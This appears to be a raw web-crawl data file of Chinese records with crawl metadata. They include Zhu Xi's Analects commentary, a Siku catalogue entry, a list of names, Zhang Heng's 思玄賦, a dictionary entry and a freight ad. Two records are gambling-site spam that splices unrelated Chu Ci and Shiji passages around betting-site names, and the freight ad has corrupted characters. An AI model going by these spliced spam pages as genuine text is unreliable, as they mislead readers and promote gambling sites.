以祈,神之佑也라.\n朱子曰只是引此古語以明有禱之理非謂欲禱皇天后土也禱雖臣子之禮其辭則述君父悔過遷善之意以解謝鬼神之譴怒.[譴:꾸짖을견]\n無其理,則不必禱요. 旣曰有之라도 則聖人이 未嘗有過하고 無善可遷하야 其素行이 固已合於神明이라. 故,曰丘之禱久矣라.問聖人與天地合其德與鬼神合其吉凶我即天地鬼神天地鬼神即我何禱之有朱子曰自他人言之謂聖人如此可也聖人之心豈以此自居惟味某之禱久矣一句語意深厚聖人氣象與天人之分自求多福之意可見.\n又,士喪禮에 疾病에 行禱五祀라하니,\n儀禮第十三篇註云謂門戶竈行中霤盡孝子之情五祀博言之士二祀曰門曰行.\n蓋臣子의 迫切之至情에 有,不能自已者요, 初不請,於病者而後禱也라. 故,孔子之於子路에 不直拒之,而但,告,以無所事禱之意라.[34-1]朱子曰在臣子則可在我則不可聖人也知有北理故言我不用禱而不責子路之非也疾病行禱者臣子之於君父各禱於其所當祭子路所欲禱必非淫祀但不當請耳.\n35. 子ㅣ 曰 奢則不孫하고 儉則固니 與其不孫也론 寧固니라.[孫去聲][109]\n孫은 順也라. 固는 陋也라. 奢儉은 俱失中,而奢之害大라.雲峯胡氏曰與其奢也寧儉是言禮之弊也如此與其不孫也寧固是言弊之極也其終必至於此.\n○ 鼌氏曰 不得已而救時之弊也라.問奢則不孫朱子曰纔奢便是不孫他自是不戢歛(斂)也且看奢底人意思儉底人意思那奢底人便有驕倣底意思須必至於過度僭上而後已.\n36. 子ㅣ 曰 君子는 坦蕩蕩이오, 小人은 長戚戚이니라.[110]\n坦은 平也요, 蕩蕩은 寬廣貌라. 程子曰 君子ㅣ 循理라. 故,常舒泰하고. 小人은 役於物이라. 故,多憂戚이라. ○ 程子曰 君子ㅣ 坦蕩蕩은 心廣體胖이라.南軒張氏曰正己而不求諸人故坦蕩蕩徇欲而不自反故長戚戚坦蕩蕩非謂放懷自適無所憂慮之謂也謂求之在已而無必於外故常舒泰云耳.\n37. 子는 溫而厲하시며, 威而不猛하시며, 恭而安이러시다.[111]\n厲는 嚴肅也라. 人之德性이 本無不備로되 而氣質所賦는 鮮[上聲]有不偏하니慶源輔氏曰德性根於無極之眞所以本無不備氣質稟於陰陽五行之氣有剛柔過不及之分所以鮮有不偏.\n惟聖人이라야 全體渾[上聲]然하야 陰陽合德이라.雙峯饒氏曰全體渾然應上文德性而言陰陽合德應上文氣質而言.\n故,其中和之氣ㅣ 見[賢遍反]於容貌之間者ㅣ 如此라.朱子曰厲便 自有威底意思不猛便自有溫底意思溫威恭三字是主厲不猛安是帶說如伯夷柳下惠猶未免偏下惠則溫勝厲伯夷則厲勝溫\n門人이 熟察而詳記之니 亦,可見其用心之密矣라. 抑非,知[去聲]足以知聖人,而善言德行[去聲]者면 不能記라.\n慶源輔氏曰用心不密則見其溫不見其厲餘皆然.\n故,程子ㅣ 以爲曾子之言이라하니 學者ㅣ 所宜,反復[方服反]而玩心也라.[37-1]\n問此章是總言聖人容貌鄕黨是逐事上說否朱子曰然此章就大體上看.\n論語集註大全卷之七 述而 終 → 泰伯第八","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/jkch.namoweb.net\/cham\/han\/nonur\/7-sul-ee.htm","date":"2018-07-22T00:42:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592875.98\/warc\/CC-MAIN-20180722002753-20180722022753-00497.warc.gz","language":"lzh","language_score":0.5512260199,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.551226019859314, \"cmn_Hani_score\": 0.31705576181411743, \"jpn_Jpan_score\": 0.05254310369491577, \"nan_Hani_score\": 0.032263997942209244, \"wuu_Hani_score\": 0.014970659278333187, \"kor_Hang_score\": 0.014750661328434944, \"yue_Hani_score\": 0.013289079070091248}","num_words":1467,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.551,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部三十四 雜家類存目一\n病榻寤言 一言\n浙江鮑士恭家藏本\n明陸樹聲撰。自序謂臥病初起。捉筆疾書。名寤言者。以其得於寤寐也。中多養生家言。至於緩步當車。晚食當肉。語出戰國策。而以爲史記。則明人讀書。不求源本之故也。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0260804.html","date":"2018-11-18T21:30:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744649.77\/warc\/CC-MAIN-20181118201101-20181118223101-00220.warc.gz","language":"lzh","language_score":0.4469117522,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.4469117522239685, \"cmn_Hani_score\": 0.41248151659965515, \"yue_Hani_score\": 0.04275612160563469, \"jpn_Jpan_score\": 0.03623288497328758, \"nan_Hani_score\": 0.033728811889886856, \"wuu_Hani_score\": 0.022357603535056114}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n梁杏丽 梁杏红 梁长艳 梁煜媛 梁俪婷 梁君文 梁志玉 梁永文 梁银霞 梁瑜倩 梁佳红 梁兴萍 梁杏芳 梁新悦 梁洛萍 梁杏悦 梁杏媛 梁文燕 梁婧语 梁杏文 梁杏艳 梁杏妍 梁杏婷 梁诗洁 梁怡秀 梁圮花 梁卫芬 梁馨婵 梁鼎文 梁麟倩 梁翘丽 梁清文 梁鲁英 梁安红 梁风琴 梁莉金 梁妍妍 梁滋文 梁翠妹 梁燕倪 梁粟婷 梁蓉蓉 梁克文 梁婧博 梁婧睿 梁健红 梁婧渝 梁杏玉 梁莅怡 梁新玲 梁蕴文 梁俏妞 梁妞妞 梁如美 梁伟怡 梁羽婷 梁丽洁 梁绗倩 梁秀莹 梁颢莹 梁仙花 梁悦琦 梁馨娅 梁雅芳 梁丞琳 梁馨妍 梁楷文 梁觉文 梁旺英 梁莉杰 梁莉洁 梁莉婕 梁娟丽 梁喜妹 梁晨颖 梁茵妍 梁茗悦 梁婷茵 梁曼玉 梁畹雪 梁婉雪 梁茵悦 梁茹茵 梁家颖 梁秋怡 梁东怡 梁伯玉 梁清梅 梁娥菁 梁玲银 梁苏玲 梁增艳 梁宏悦 梁岸玲 梁争艳 梁秀莹 梁秀琳 梁本玉 梁莉海 梁莉秀 梁鑫媛 梁婷馨 梁决雪 梁秀怡 梁沁洁 梁绮梅 梁昭妍 梁锦瑶 梁淼莹 梁雪美 梁燕玉 梁莉茵 梁化颖 梁怡淼 梁含颖 梁仙芬 梁婷玉 梁馨莹 梁倩晗 梁燕安 梁煜玲 梁薰婷 梁馨玲 梁海怡 梁慧美 梁燕悦 梁鑫悦 梁燕铃 梁铃玲 梁德文 梁燕鑫 梁炎玲 梁鑫玲 梁圣芳 梁国芳 梁怡渲 梁岚婷 梁仟美 梁仟婷 梁爱梅 梁怡惠 梁腾玉 梁淖琳 梁婷淇 梁晓颖 梁子洁 梁芝英 梁莉珍 梁献文 梁宪文 梁金琼 梁翠雪 梁瑶姿 梁成婧 梁婧浠 梁婧媛 梁婧茹 梁婧如 梁淑丽 梁会颖 梁筱婧 梁映娟 梁如瑛 梁立娟 梁改娟 梁冰娟 梁萌茹 梁喜萍 梁月莉 梁智霞 梁瑜怡 梁菊英 梁黛婧 梁若萍 梁鸿英 梁素婷 梁嫣颍 梁莉艳 梁莉蕴 梁露颖 梁淖莹 梁彦玲 梁治英 梁焕英 梁展颖 梁美燕 梁沁茹 梁邀文 梁桐莹 梁荷花 梁愉媛 梁愉美 梁莉宣 梁金莉 梁柏琳 梁美琳 梁梦茹 梁瑜丽 梁长燕 梁秀婷 梁婷雪 梁茵雪 梁桂艳 梁怡宁 梁桂燕 梁婷育 梁皓琳 梁五洁 梁秀阳 梁秀名 梁睿雪 梁淑莹 梁幼英 梁娜娜 梁振美 梁朝媛 梁朝颖 梁桤玲 梁纷莉 梁莉华 梁玉茹 梁祯琳 梁润玉 梁瑞洁 梁怡佳 梁丙文 梁倩匀 梁冬玉 梁裴裴 梁筱娟 梁冥悦 梁馨艳 梁樱文 梁继颖 梁桂琴 梁素媛 梁丽妹 梁玲碧 梁立颖 梁倩冰 梁倩华 梁倩慧 梁绣萍 梁乃芳 梁俪文 梁莉清 梁清丽 梁兰芳 梁新艳 梁莉萍 梁茹钰 梁茹薏 梁茹尔 梁悯文 梁悯怡 梁桂妹 梁蝾文 梁秀琏 梁娟华 梁腾文 梁怡盈 梁芝莹 梁挚文 梁肇婷 梁维娜 梁雯倩 梁健莉 梁言悦 梁禄玉 梁凤倩 梁莉涓 梁悦宁 梁彦丽 梁仙妹 梁妍佩 梁司玲 梁司妍 梁司琳 梁司怡 梁司悦 梁司媛 梁司莹 梁寓莹 梁珍莹 梁筱莹 梁和艳 梁力莹 梁清莹 梁影莹 梁纭莹 梁婷洁 梁俪英 梁立萍 梁荔莹 梁笠莹 梁沥莹 梁忆莹 梁静莹 梁莹冰 梁莹仪","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/s-c-w.cn\/show_A1E.aspx","date":"2019-03-24T13:32:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203448.17\/warc\/CC-MAIN-20190324124545-20190324150545-00461.warc.gz","language":"lzh","language_score":0.963093102,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.963093101978302, \"nan_Hani_score\": 0.01855648308992386, \"cmn_Hani_score\": 0.014220267534255981}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.964,"perplexity_score":500.0,"cluster_detection":1} +{"text":"思玄賦\n衡常思圖身之事,以為吉凶倚伏,幽微難明,乃作思玄賦,以宣寄情志。其辭曰︰\n仰先哲之玄訓兮,雖彌高而弗違。匪仁里其焉宅兮,匪義迹其焉追?潛服膺以永靚兮,綿日月而不衰。伊中情之信修兮,慕古人之貞節。竦余身而順止兮,遵繩墨而不跌。志團團以應懸兮,誠心固其如結。旌性行以製珮兮,佩夜光與瓊枝。𦆈幽蘭之秋華兮,又綴之以江蘺。美襞積以酷烈兮,允塵邈而難虧。既姱麗而鮮雙兮,非是時之攸珍。奮余榮而莫見兮,播余香而莫聞。幽獨守此庂陋兮,敢怠遑而舍勤?幸二八之遌虞兮,嘉傅說之生殷。尚前良之遺風兮,恫後辰而無及。何孤行之煢煢兮,孑不羣而介立?感鸞鷖之特棲兮,悲淑人之稀合。\n彼無合而何傷兮,患衆偽之冒真。旦獲讟于羣弟兮,啓金縢而後信。覽蒸民之多僻兮,畏立辟以危身。增煩毒以迷或兮,羌孰可為言己?私湛憂而深懷兮,思繽紛而不理。願竭力以守誼兮,雖貧窮而不改。執雕虎而試象兮,阽焦原而跟止。庶斯奉以周旋兮,要既死而後已。俗遷渝而事化兮,泯規矩之圜方。珍蕭艾於重笥兮,謂蕙芷之不香。 斥西施而弗御兮,羈要裊以服箱。行陂僻而獲志兮,循法度而離殃。惟天地之無窮兮,何遭遇之無常?不抑操而苟容兮,譬臨河而無航。欲巧笑以干媚兮,非余心之所嘗。襲溫恭之黻衣兮,披禮義之繡裳。辮貞亮以為鞶兮,雜技藝以為珩。昭綵藻與雕琢兮,璜聲遠而彌長。淹棲遲以恣欲兮,耀靈忽其西藏。恃己知而華予兮,鶗鴂鳴而不芳。冀一年之三秀兮,遒白露之為霜。時亹亹而代序兮,疇可與乎比伉?咨姤嫮之難並兮,想依韓以流亡。恐漸染而無成兮,留則蔽而不章。\n心猶豫而狐疑兮,即岐阯而攄情。文君為我端蓍兮,利飛遁以保名。歷衆山以周流兮,翼迅風以揚聲。二女感於崇岳兮,或冰折而不營。天蓋高而為澤兮,誰云路之不平!勔自強而不息兮,蹈玉階之嶢崢。懼筮氏之長短兮,鑽東龜以觀禎。遇九皋之介鳥兮,怨素意之不逞。遊塵外而瞥天兮,據冥翳而哀鳴。鵰鶚競於貪婪兮,我修絜以益榮。 子有故於玄鳥兮,歸母氏而後寧。\n占既吉而無悔兮,簡元辰而俶裝。旦余沐於清源兮,晞余髮於朝陽。漱飛泉之瀝液兮,咀石菌之流英。翾鳥舉而魚躍兮,將往走乎八荒。過少皥之窮野兮,問三丘于句芒。何道真之淳粹兮,去穢累而票輕。登蓬萊而容與兮,鼇雖抃而不傾。留瀛洲而採芝兮,聊且以乎長生。馮歸雲而遐逝兮,夕余宿乎扶桑。噏青岑之玉醴兮,餐沆瀣以為糧。發昔夢於木禾兮,穀崑崙之高岡。\n朝吾行於湯谷兮,從伯禹乎稽山。嘉羣神之執玉兮,疾防風之食言。指長沙之邪徑兮,存重華乎南隣。哀二妃之未從兮,翩儐處彼湘濱。流目覜夫衡阿兮,睹有黎之圮墳。痛火正之無懷兮,託山陂以孤魂。愁蔚蔚以慕遠兮,越卬州而愉遨。躋日中于昆吾兮,憩炎天之所陶。揚芒熛而絳天兮,水泫沄而涌濤。溫風翕其增熱兮,惄鬱悒其難聊。\n顝羇旅而無友兮,余安能乎留茲?顧金天而歎息兮,吾欲往乎西嬉。前祝融使舉麾兮,纚朱鳥以承旗。躔建木於廣都兮,拓若華而躊躇。超軒轅於西海兮,跨汪氏之龍魚。聞此國之千歲兮,曾焉足以娛余?\n思九土之殊風兮,從蓐收而遂徂。欻神化而蟬蛻兮,朋精粹而為徒。蹶白門而東馳兮,云台行乎中野。亂弱水之潺湲兮,逗華陰之湍渚。號馮夷俾清津兮,櫂龍舟以濟予。會帝軒之未歸兮,悵相佯而延佇。呬河林之蓁蓁兮,偉關雎之戒女。黃靈詹而訪命兮,摎天道其焉如。曰︰「近信而遠疑兮,六籍闕而不書。神逵昧其難覆兮,疇克謨而從諸?牛哀病而成虎兮,雖逢昆其必噬。鼈令殪而尸亡兮,取蜀禪而引世。死生錯其不齊兮,雖司命其不晰。竇號行於代路兮,後膺祚而繁廡。王肆侈於漢庭兮,卒銜恤而絕緒。尉尨眉而郎潛兮,逮三葉而遘武。董弱冠而司袞兮,設王隧而弗處。夫吉凶之相仍兮,恒反側而靡所。穆負天以悅牛兮,豎亂叔而幽主。文斷袪而忌伯兮,閹謁賊而寧后。通人闇於好惡兮,豈愛惑而能剖?嬴擿讖而戒胡兮,備諸外而發內。或輦賄而違車兮,孕行產而為對。慎竈顯以言天兮,占水火而妄誶。梁叟患夫黎丘兮,丁厥子而事刃。親所睇而弗識兮,矧幽冥之可信。毋綿攣以涬己兮,思百憂以自疢。彼天監之孔明兮,用棐忱而祐仁。湯蠲體以禱祈兮,蒙厖禠以拯人。景三慮以營國兮,熒惑次於它辰。魏顆亮以從理兮,鬼亢回以敝秦。咎繇邁而種德兮,樹德茂乎英、六。桑末寄夫根生兮,卉既彫而己毓。有無言而不讎兮,又何往而不復?盍遠迹以飛聲兮,孰謂時之可蓄?」\n仰矯首以遙望兮,魂𢠵惘而無疇。偪區中之隘陋兮,將北度而宣遊。行積冰之磑磑兮,清泉沍而不流。寒風淒其永至兮,拂穹岫之騷騷。玄武縮於殼中兮,螣蛇蜿而自糾。魚矜鱗而并凌兮,鳥登木而失條。坐太陰之屛室兮,慨含欷而增愁。怨高陽之相寓兮,㑋顓頊之宅幽。庸織絡於四裔兮,斯與彼其何瘳?望寒門之絕垠兮,縱余緤乎不周。迅飇潚其媵我兮,騖翩飄而不禁。越谽𠽫之洞穴兮,標通川之碄碄。經重陰乎寂寞兮,愍墳羊之深潛。\n追慌忽於地底兮,軼無形而上浮。出石密之闇野兮,不識蹊之所由。速燭龍令執炬兮,過鍾山而中休。瞰瑤谿之赤岸兮,弔祖江之見劉。聘王母於銀臺兮,羞玉芝以療飢。戴勝憖其既歡兮,又誚余之行遲。載太華之玉女兮,召洛浦之宓妃。咸姣麗以蠱媚兮,增嫮眼而蛾眉。舒妙婧之纖腰兮,揚雜錯之袿徽。離朱脣而微笑兮,顏的礰以遺光。獻環琨與璵縭兮,申厥好以玄黃。雖色豔而賂美兮,志浩蕩而不嘉。雙材悲於不納兮,並詠詩而清歌。歌曰:「天地烟熅,百卉含蘤。鳴鶴交頸,雎鳩相和。處子懷春,精魂回移。如何淑明,忘我實多。」\n將答賦而不暇兮,爰整駕而亟行。瞻崑崙之巍巍兮,臨縈河之洋洋。伏靈龜以負坻兮,亙螭龍之飛梁。登閬風之層城兮,搆不死而為牀。屑瑤橤以為糇兮,𣂏白水以為漿。抨巫咸以占夢兮,乃貞吉之元符。滋令德於正中兮,含嘉禾以為敷。既垂穎而顧本兮,爾要思乎故居。安和靜而隨時兮,結純懿之所廬。\n戒庶寮以夙會兮,僉恭職而並迓。豐隆軯其震霆兮,列缺曄其照夜。雲師𩅾以交集兮,涷雨沛其灑塗。轙琱輿而樹葩兮,擾應龍以服輅。百神森其備從兮,屯騎羅而星布。振余袂而就車兮,修劍揭以低昂。冠咢咢其映蓋兮,佩綝纚以煇煌。僕夫儼其正策兮,八乘攄而超驤。氛旄溶以天旋兮,蜺旌飄以飛揚。撫軨軹而還睨兮,心灼藥其若湯。羨上都之赫戲兮,何迷故而不忘。左青琱之揵芝兮,右素威以司鉦。前長離使拂羽兮,委水衡乎玄冥。屬箕伯以函風兮,懲淟涊而為清。曳雲旗之離離兮,鳴玉鸞之譻譻。涉清霄而升遐兮,浮蔑蒙而上征。紛翼翼以徐戾兮,焱回回其揚靈。叫帝閽使闢扉兮,覿天皇于瓊宮。聆廣樂之九奏兮,展洩洩以肜肜。考理亂於律均兮,意建始而思終。惟盤逸之無斁兮,懼樂往而哀來。素撫弦而餘音兮,太容吟曰念哉。既防溢而靜志兮,迨我暇以翱翔。出紫宮之肅肅兮,集太微之閬閬。命王良掌策駟兮,踰高閣之鏘鏘。建罔車之幕幕兮,獵青林之芒芒。彎威弧之撥剌兮,射嶓冢之封狼。觀壁壘於北落兮,伐河鼓之磅硠。乘天潢之汎汎兮,浮雲漢之湯湯。倚招搖攝提以低回剹流兮,察二紀五緯之綢繆遹皇。偃蹇夭矯㛯以連卷兮,雜沓叢顇颯以方驤。戫汨飂淚沛以罔象兮,爛漫麗靡藐以迭逿。凌驚雷之砊礚兮,弄狂電之淫裔。踰痝澒於宕冥兮,貫倒景而高厲。廓盪盪其無涯兮,乃今窺乎天外。據開陽而頫盼兮,臨舊鄉之暗藹。\n悲離居之勞心兮,情悁悁而思歸。魂眷眷而屢顧兮,馬倚輈而徘回。雖遨遊以媮樂兮,豈愁慕之可懷?出閶闔兮降天塗,乘飇忽兮馳虛無。雲霏霏兮繞余輪,風眇眇兮震余旟。繽連翩兮紛暗曖,倏眩眃兮反常閭。\n收疇昔之逸豫兮,卷淫放之遐心。修初服之娑娑兮,長余珮之參參。文章煥以粲爛兮,美紛紜以從風。御六蓺之珍駕兮,遊道德之平林。結典籍而為罟兮,敺儒墨以為禽。玩陰陽之變化兮,詠雅頌之徽音。嘉曾氏之歸耕兮,慕歷陵之欽崟。恭夙夜而不貳兮,固終始之所服。夕惕若厲以省諐兮,懼余身之未勅也。苟中情之端直兮,莫吾知而不恧。墨無為以凝志兮,與仁義乎消遙。不出戶而知天下兮,何必歷遠以劬勞!\n系曰:\n天長地久歲不留,俟河之清祇懷憂。\n願得遠渡以自娛,上下無常窮六區。\n超踰騰躍絕世俗,飄颻神舉逞所欲。\n天不可階仙夫希,柏舟悄悄吝不飛。\n松喬高跱孰能離?結精遠遊使心攜。\n回志朅來從玄諆,獲我所求夫何思!\n|本作品在全世界都属于公有领域,因为作者逝世已经超过100年,并且于1923年1月1日之前出版。|","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/zh.wikisource.org\/wiki\/%E6%80%9D%E7%8E%84%E8%B3%A6","date":"2019-10-15T19:30:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986660231.30\/warc\/CC-MAIN-20191015182235-20191015205735-00398.warc.gz","language":"lzh","language_score":0.4080407917,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.4080407917499542, \"zxx_Latn_score\": 0.09588561952114105, \"nan_Hani_score\": 0.04456701874732971, \"cmn_Hani_score\": 0.037274621427059174, \"und_Tang_score\": 0.03667866066098213, \"und_Xsux_score\": 0.0243667159229517, \"und_Grek_score\": 0.020245863124728203, \"und_Hluw_score\": 0.020056072622537613, \"und_Sgnw_score\": 0.01908300817012787, \"und_Yiii_score\": 0.016814814880490303, \"und_Hira_score\": 0.016482016071677208, \"und_Egyp_score\": 0.01406257413327694, \"und_Cans_score\": 0.012397467158734798, \"und_Cyrl_score\": 0.012044851668179035, \"und_Nshu_score\": 0.011021073907613754, \"und_Vaii_score\": 0.010019984096288681}","num_words":25,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.209,"perplexity_score":500.0,"cluster_detection":1} +{"text":"幸运六盒彩:{biaoti}\n幸运六盒彩:刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n颜渊喟然叹曰:\"仰之弥高,钻之弥坚。瞻之在前,忽焉在后。夫子循循然善诱人,博我以文,约我以礼,欲罢不能。既竭吾才,如有所立卓尔,虽欲从之,末由也已。\"\n十七年,成公卒。成公弟御杀太子及大司马公孙固而自立为君。宋人共杀君御而立成公少子杵臼,是为昭公。\n子曰:\"群居终日,言不及义,好行小慧,难矣哉!\"\n幸运六盒彩孝文时,为燕相,至将军。布乃称曰:\"穷困不能辱身下志,非人也;富贵不能快意,非贤也。\"於是尝有德者厚报之,有怨者必以法灭之。吴反时,以军功封俞侯,复为燕相。燕齐之间皆为栾布立社,号曰栾公社。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.wllmj.cn\/HTVKI88051.html","date":"2020-02-17T04:20:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875141653.66\/warc\/CC-MAIN-20200217030027-20200217060027-00269.warc.gz","language":"lzh","language_score":0.4643308222,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4643308222293854, \"cmn_Hani_score\": 0.2792244553565979, \"nan_Hani_score\": 0.1602107435464859, \"wuu_Hani_score\": 0.014440726488828659, \"zxx_Latn_score\": 0.012620633468031883}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"沙巴体育网址央行今日未开展逆回购操作本周实现净回笼9200亿\n晏婴卒後,范、中行氏反晋。晋攻之急,范、中行请粟於齐。田乞欲为乱,树党於诸侯,乃说景公曰:\"范、中行数有德於齐,齐不可不救。\"齐使田乞救之而输之粟。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n湣公二年,庆父与哀姜通益甚。哀姜与庆父谋杀湣公而立庆父。庆父使卜齮袭杀湣公於武闱。季友\n二十七年五月戊申,大朝於东宫,传国,立王子何以为王。王庙见礼毕,出临朝。大夫悉为臣,肥义为相国,并傅王。是为惠文王。惠文王,惠后吴娃子也。武灵王自号为主父。\n哀公问曰:\"何为则民服?\"孔子对曰:\"举直错诸枉,则民服;举枉错诸直,则民不服。\"","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/pznld.znwz33.com\/ffhqt.php\/81748.html","date":"2020-02-23T10:39:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145767.72\/warc\/CC-MAIN-20200223093317-20200223123317-00195.warc.gz","language":"lzh","language_score":0.4246902466,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42469024658203125, \"cmn_Hani_score\": 0.38182133436203003, \"nan_Hani_score\": 0.0531669519841671, \"wuu_Hani_score\": 0.020906316116452217, \"zxx_Latn_score\": 0.01864584907889366, \"jpn_Jpan_score\": 0.016334883868694305, \"yue_Hani_score\": 0.011052713729441166, \"und_Tang_score\": 0.010995961725711823}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.535,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【注音】\n【拼音】 zuò tiān xià\n基本釋義\n1. 掌權;管理國家。如:舊時代誰坐天下都一樣黑暗。\n比喻統治天下。\n您可能感興趣的詞語\n坐天下 譽塞天下 譽滿天下 王天下 聞名天下 威震天下 威振天下 言語妙天下 有理走遍天下 一手難掩天下人耳目 一齊天下 一匡天下 一統天下 掃除天下 縱橫天下 走遍天下 手援天下 闖天下 澄清天下 轍環天下 周郎妙計高天下,賠了夫人又折兵 相交滿天下,知心能幾人 先天下之憂而憂 秀才不出門,能知天下事 席卷天下 權傾天下 經緯天下 兼善天下 甲天下 家天下 湖廣熟,天下足 橫行天下 河水清,天下平 浪跡天下 寧教我負天下人,休教天下人負我 天下文宗","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.3du.tw\/dict\/%E5%9D%90%E5%A4%A9%E4%B8%8B","date":"2020-07-02T21:05:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655880243.25\/warc\/CC-MAIN-20200702205206-20200702235206-00513.warc.gz","language":"lzh","language_score":0.8181552291,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8181552290916443, \"nan_Hani_score\": 0.17288516461849213}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.83,"perplexity_score":500.0,"cluster_detection":1} +{"text":"溫馨提示\n1、交易前請仔細核實商家真實資質,勿信夸張宣傳和承諾。如發現非法商家,歡迎廣大網民舉報,舉報電話:4000-999-800。\n2、該信息由列表網網友發布,其真實性及合法性由發布人負責,列表網僅引用以供用戶參考,詳情請閱讀列表網免責條款。\n3、在簽訂合同或相關協議之前,任何要求預付定金、匯款等方式均存在風險,謹防上當受騙!\n詳情描述\n專業調回程車、返程車、回頭車、全國包車運輸、大件車、專業搬家、大型設備搬遷、多年來以\"誠信為本、客戶致上、安全快捷\"為企業運作之根本,充分為客戶著想。誠信、誠意為客戶做好每一件事;高質量、高標準為客戶提供完備的運輸服務,追求服務品質,是我們得以發展的根本,我們公司始終承諾:低廉的運價為您降,**的服務為您提供更多的方便,迅速的運輸為您贏得寶貴的時間。至:遼寧?。荷蜿?錦州 大連 本溪 丹東 營口 鞍山 阜新 朝陽 鐵嶺 盤錦 葫蘆島 遼陽 撫順 興城 新民 莊河 鳳城 東港 鲅魚圈 大石橋 凌源吉林?。洪L春 吉林 四平 公主嶺 松原 敦化 延吉 白城 梅河口 通化 白山 遼源黑龍江?。汗枮I 大慶 齊齊哈爾 牡丹江 綏芬河 佳木斯 鶴崗 雞西 雙鴨山 虎林 伊春 北安 黑河 加格達奇 綏化內 蒙:呼和浩特 包頭 烏海 二連浩特 通遼 烏蘭浩特 海拉爾 滿洲里 呼倫貝爾 牙克石 扎蘭屯 烏蘭察布 鄂爾多斯 錫林浩特河北?。?(北京)保定 石家莊 邢臺 張家口 滄州 廊坊 唐山 秦皇島 山海關 邯鄲 承德 霸州 黃驊 衡水 辛集 新樂 遵化 遷安 涿州 定州 安國 高碑店 南宮 宣化 懷來 張北 泊頭 任丘 黃驊 河間 三河 武強 深州河南?。?鄭州 洛陽 平頂山 三門峽 許昌 南陽 商丘 漯河 安陽 開封 新鄉 鶴壁 焦作 濮陽 周口 駐馬店 信陽山西?。?太原 大臨汾 長治 運城 陽泉 朔州 晉中 呂梁陜西?。?西安 漢中 寶雞 